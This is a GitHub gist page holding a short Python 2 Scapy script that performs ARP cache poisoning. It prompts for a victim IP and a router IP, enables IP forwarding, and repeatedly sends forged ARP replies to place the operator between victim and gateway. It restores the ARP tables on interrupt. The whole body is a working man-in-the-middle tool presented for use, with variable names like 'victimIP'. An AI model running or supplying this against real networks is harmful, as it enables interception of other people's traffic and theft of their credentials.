Last active
November 11, 2016 02:38
-
-
Save ghost-ng/22bccf28a675ac4278c8c0ba3d1b2d92 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Created by - unknown | |
#python2 | |
from scapy.all import * | |
import sys | |
import os | |
import time | |
try: | |
interface = raw_input("[*] Enter Desired Interface: ") | |
victimIP = raw_input("[*] Enter Victim IP: ") | |
gateIP = raw_input("[*] Enter Router IP: ") | |
except KeyboardInterrupt: | |
print "\n[*] User Requested Shutdown" | |
print "[*] Exiting..." | |
sys.exit(1) | |
print "\n[*] Enabling IP Forwarding...\n" | |
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") | |
def get_mac(IP): | |
conf.verb = 0 | |
ans, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 2, iface = interface, inter = 0.1) | |
for snd,rcv in ans: | |
return rcv.sprintf(r"%Ether.src%") | |
def reARP(): | |
print "\n[*] Restoring Targets..." | |
victimMAC = get_mac(victimIP) | |
gateMAC = get_mac(gateIP) | |
send(ARP(op = 2, pdst = gateIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = victimMAC), count = 7) | |
send(ARP(op = 2, pdst = victimIP, psrc = gateIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gateMAC), count = 7) | |
print "[*] Disabling IP Forwarding..." | |
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") | |
print "[*] Shutting Down..." | |
sys.exit(1) | |
def trick(gm, vm): | |
send(ARP(op = 2, pdst = victimIP, psrc = gateIP, hwdst= vm)) | |
send(ARP(op = 2, pdst = gateIP, psrc = victimIP, hwdst= gm)) | |
def mitm(): | |
try: | |
victimMAC = get_mac(victimIP) | |
except Exception: | |
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") | |
print "[!] Couldn't Find Victim MAC Address" | |
print "[!] Exiting..." | |
sys.exit(1) | |
try: | |
gateMAC = get_mac(gateIP) | |
except Exception: | |
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") | |
print "[!] Couldn't Find Gateway MAC Address" | |
print "[!] Exiting..." | |
sys.exit(1) | |
print "[*] Poisoning Targets..." | |
while 1: | |
try: | |
trick(gateMAC, victimMAC) | |
time.sleep(1.5) | |
except KeyboardInterrupt: | |
reARP() | |
break | |
mitm() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment